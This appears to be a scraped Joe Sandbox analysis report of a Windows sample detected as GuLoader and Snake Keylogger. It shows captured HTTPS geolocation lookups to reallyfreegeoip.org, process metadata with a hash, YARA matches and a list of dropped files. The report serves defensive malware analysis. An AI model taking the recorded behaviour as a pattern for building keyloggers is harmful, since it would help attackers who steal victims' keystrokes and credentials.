2025-03-07 20:08:22 UTC	862	IN	HTTP/1.1 200 OK Date: Fri, 07 Mar 2025 20:08:22 GMT Content-Type: text/xml Content-Length: 362 Connection: close Age: 139484 Cache-Control: max-age=31536000 cf-cache-status: HIT last-modified: Thu, 06 Mar 2025 05:23:38 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Cfuq%2FBkdd68vAUFCLsrof%2F3e7YkkLWJME1VZuhO19b4rq7z%2FcjsEcnVObnhRCgMmKk7dM0r3YYBhyZbmv%2FsrP5L0Ttv6hPk9%2FWfCo2K8UKcleJI%2FPhSZG7mzyjGq6SBM4vspwWij"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 91ccb975be4be1d7-ORD alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=21513&min_rtt=20134&rtt_var=8053&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2849&recv_bytes=699&delivery_rate=111290&cwnd=242&unsent_bytes=0&cid=5dba2735181d4bff&ts=498&x=0"
2025-03-07 20:08:22 UTC	362	IN	Data Raw: 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 4e 59 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 4e 65 77 20 59 6f 72 6b 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4e 65 77 20 59 6f 72 6b 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 31 30 31 31 38 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 4e 65 77 5f 59 6f 72 6b 3c 2f 54 69 6d 65 5a 6f Data Ascii: <Response><IP>8.46.123.189</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>NY</RegionCode><RegionName>New York</RegionName><City>New York</City><ZipCode>10118</ZipCode><TimeZone>America/New_York</TimeZo

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.6	49693	104.21.112.1	443	7784	C:\Users\user\Desktop\DNNueAb5UZ.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-07 20:08:24 UTC	61	OUT	GET /xml/8.46.123.189 HTTP/1.1 Host: reallyfreegeoip.org
2025-03-07 20:08:25 UTC	855	IN	HTTP/1.1 200 OK Date: Fri, 07 Mar 2025 20:08:25 GMT Content-Type: text/xml Content-Length: 362 Connection: close Age: 139487 Cache-Control: max-age=31536000 cf-cache-status: HIT last-modified: Thu, 06 Mar 2025 05:23:38 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=a7Bg8Hsext723UdV2Mnpdgc2yFe41HJYn%2BTc8Ii2%2B90N1GHuDfg8V1BncBHBPfwGzvn%2F1VCON7LYxkRiWY5CDIhaGeKiHHJunCQqpNbaMxxdkcKzuJCVINesgY43jMi3A8DkfpIO"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 91ccb987be822255-ORD alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=24126&min_rtt=20349&rtt_var=8766&sent=7&recv=9&lost=0&retrans=1&sent_bytes=4297&recv_bytes=699&delivery_rate=50702&cwnd=237&unsent_bytes=0&cid=8bebba5ee650edef&ts=891&x=0"
2025-03-07 20:08:25 UTC	362	IN	Data Raw: 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 4e 59 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 4e 65 77 20 59 6f 72 6b 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4e 65 77 20 59 6f 72 6b 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 31 30 31 31 38 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 4e 65 77 5f 59 6f 72 6b 3c 2f 54 69 6d 65 5a 6f Data Ascii: <Response><IP>8.46.123.189</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>NY</RegionCode><RegionName>New York</RegionName><City>New York</City><ZipCode>10118</ZipCode><TimeZone>America/New_York</TimeZo

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.6	49695	104.21.112.1	443	7784	C:\Users\user\Desktop\DNNueAb5UZ.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-07 20:08:28 UTC	61	OUT	GET /xml/8.46.123.189 HTTP/1.1 Host: reallyfreegeoip.org
2025-03-07 20:08:28 UTC	857	IN	HTTP/1.1 200 OK Date: Fri, 07 Mar 2025 20:08:28 GMT Content-Type: text/xml Content-Length: 362 Connection: close Age: 139490 Cache-Control: max-age=31536000 cf-cache-status: HIT last-modified: Thu, 06 Mar 2025 05:23:38 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=E2iEJwrUK1XAUadN%2FtsImQ05rGDck%2BkOQgH2b53Z9W04gX2Xzm%2FegGLSmmlOaxdNMdJpMD0Jhww7DEGrcFoQ5aLyJ0ekklIPrmsHqhVM9HeTD0sNANdOW4OycayZJbTR1ISKF9d4"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 91ccb99b18048101-ORD alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=30664&min_rtt=20932&rtt_var=14801&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2849&recv_bytes=699&delivery_rate=138352&cwnd=163&unsent_bytes=0&cid=f19f3fe512c04477&ts=504&x=0"
2025-03-07 20:08:28 UTC	362	IN	Data Raw: 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 4e 59 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 4e 65 77 20 59 6f 72 6b 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4e 65 77 20 59 6f 72 6b 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 31 30 31 31 38 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 4e 65 77 5f 59 6f 72 6b 3c 2f 54 69 6d 65 5a 6f Data Ascii: <Response><IP>8.46.123.189</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>NY</RegionCode><RegionName>New York</RegionName><City>New York</City><ZipCode>10118</ZipCode><TimeZone>America/New_York</TimeZo

Target ID:	0
Start time:	15:06:22
Start date:	07/03/2025
Path:	C:\Users\user\Desktop\DNNueAb5UZ.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\DNNueAb5UZ.exe"
Imagebase:	0x400000
File size:	700'990 bytes
MD5 hash:	1F3C24498EAD0B5BB12BE0FB2A21ABA8
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_GuLoader_2, Description: Yara detected GuLoader, Source: 00000000.00000002.2127281248.0000000007B27000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	15:07:52
Start date:	07/03/2025
Path:	C:\Users\user\Desktop\DNNueAb5UZ.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\DNNueAb5UZ.exe"
Imagebase:	0x400000
File size:	700'990 bytes
MD5 hash:	1F3C24498EAD0B5BB12BE0FB2A21ABA8
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_SnakeKeylogger, Description: Yara detected Snake Keylogger, Source: 00000009.00000002.2503573322.0000000036EB1000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	false

Show Windows behavior

Chronological Activities

Disassembly

Reset < >

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report DNNueAb5UZ.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: Snake Keylogger

Yara Signatures

Memory Dumps

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Location Tracking

Compliance

Spreading

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Temp\Alpha.ini

C:\Users\user\AppData\Local\Temp\nse9055.tmp

C:\Users\user\AppData\Local\Temp\nsh96BF.tmp\System.dll

C:\Users\user\AppData\Local\Temp\nsnA4CD.tmp

C:\Users\user\AppData\Local\Temp\nsr96FE.tmp

C:\Users\user\AppData\Local\Temp\nsvA076.tmp

C:\Users\user\AppData\Local\Temp\nsy9B64.tmp

C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\Helveders.ini

C:\Users\user\Slutafregningers175\ammunitionsfabrikkers\Anus\Sammentrngende225.sth

C:\Users\user\Slutafregningers175\ammunitionsfabrikkers\Anus\Sfarer248.rgs

C:\Users\user\Slutafregningers175\ammunitionsfabrikkers\Anus\Snorelofts.sam

C:\Users\user\Slutafregningers175\ammunitionsfabrikkers\Anus\Svanehalsens40.ini

C:\Users\user\Slutafregningers175\ammunitionsfabrikkers\Anus\aeroenterectasia.txt

C:\Users\user\Slutafregningers175\ammunitionsfabrikkers\Anus\bovnende.ini

C:\Users\user\Slutafregningers175\ammunitionsfabrikkers\Anus\derimellem.ini

Windows Analysis Report
DNNueAb5UZ.exe